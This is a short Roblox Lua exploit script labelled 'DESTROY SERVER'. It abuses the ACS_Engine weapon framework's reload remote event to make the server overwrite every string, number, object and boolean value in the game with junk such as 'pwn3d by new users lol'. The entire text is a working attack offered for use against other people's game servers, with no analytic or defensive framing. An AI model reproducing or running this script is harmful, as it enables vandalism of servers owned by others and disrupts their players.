MADE BY Nameless9000
FEATURE:
- DESTROY SERVER
function setValue(ValueObj,NewValue) -- NewValue
game:GetService("ReplicatedStorage")["ACS_Engine"].Eventos.Recarregar:FireServer(NewValue,{ACS_Modulo = {Variaveis = {StoredAmmo = ValueObj}}})
end
for _, obj in next, game:GetDescendants() do
if obj:IsA("StringValue") then
setValue(obj, "pwn3d by new users lol")
end
if obj:IsA("NumberValue") or obj:IsA("IntValue") then
setValue(obj, 696969013370696969)
end
if obj:IsA("ObjectValue") then
setValue(obj, game)
end
if obj:IsA("BoolValue") then
setValue(obj, true)
end
end